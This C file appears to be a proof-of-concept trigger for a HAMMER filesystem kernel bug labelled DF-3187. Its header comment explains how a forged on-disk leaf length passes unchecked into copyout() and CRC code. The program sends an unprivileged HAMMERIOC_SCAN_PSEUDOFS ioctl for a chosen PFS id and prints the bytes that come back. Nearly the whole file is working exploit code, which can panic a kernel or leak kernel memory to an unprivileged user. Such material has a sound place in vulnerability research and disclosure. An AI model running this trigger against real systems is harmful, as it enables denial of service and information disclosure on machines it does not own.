DF-3187 / trigger_scan.c
/* * DF-3187 trigger: unprivileged HAMMERIOC_SCAN_PSEUDOFS on a PFS record * whose on-disk leaf data_len was forged out of range (e.g. -1). * * hammer_ioc_scan_pseudofs() (sys/vfs/hammer/hammer_pfs.c:363) uses the * raw on-disk leaf->data_len as copyout() length; before that, * hammer_btree_extract() (hammer_btree.c:736) only guards it with an * INVARIANTS-only KKASSERT. On INVARIANTS kernels the KKASSERT panics; * on production kernels the negative length reaches hammer_bread_ext() * (HAMMER_BUFSIZE_DOALIGN(-1) == 0), the CRC computation (crc32 over * (size_t)-1 bytes) and copyout() with a sign-extended SIZE_MAX length. * * usage: ./trigger_scan <mounted-hammer-dir> <pfs_id> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <unistd.h> #include <sys/ioctl.h> #include "hammer_ioctl.h" int main(int argc, char **argv) { struct hammer_ioc_pseudofs_rw *pfs; unsigned char *out; int fd; int r; if (argc != 3) { fprintf(stderr, "usage: %s <dir> <pfs_id>\n", argv[0]); exit(2); } pfs = malloc(sizeof(*pfs)); out = malloc(65536 + 4096); /* catch a big copyout if it happens */ memset(pfs, 0, sizeof(*pfs)); memset(out, 0xAA, 65536 + 4096); pfs->pfs_id = atoi(argv[2]); pfs->bytes = sizeof(struct hammer_pseudofs_data); pfs->version = HAMMER_IOC_PSEUDOFS_VERSION; pfs->ondisk = (void *)out; fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open"); exit(2); } printf("trigger: SCAN_PSEUDOFS pfs_id=%d on %s uid=%d\n", pfs->pfs_id, argv[1], getuid()); fflush(stdout); r = ioctl(fd, HAMMERIOC_SCAN_PSEUDOFS, pfs); printf("ioctl returned %d errno=%d (%s) head.error=%d pfs_id=%u\n", r, errno, strerror(errno), pfs->head.error, pfs->pfs_id); if (r == 0 || pfs->head.error) { /* show first 32 bytes of what came back */ for (int i = 0; i < 32; i++) printf("%02x", out[i]); printf("\n"); } return (0); } |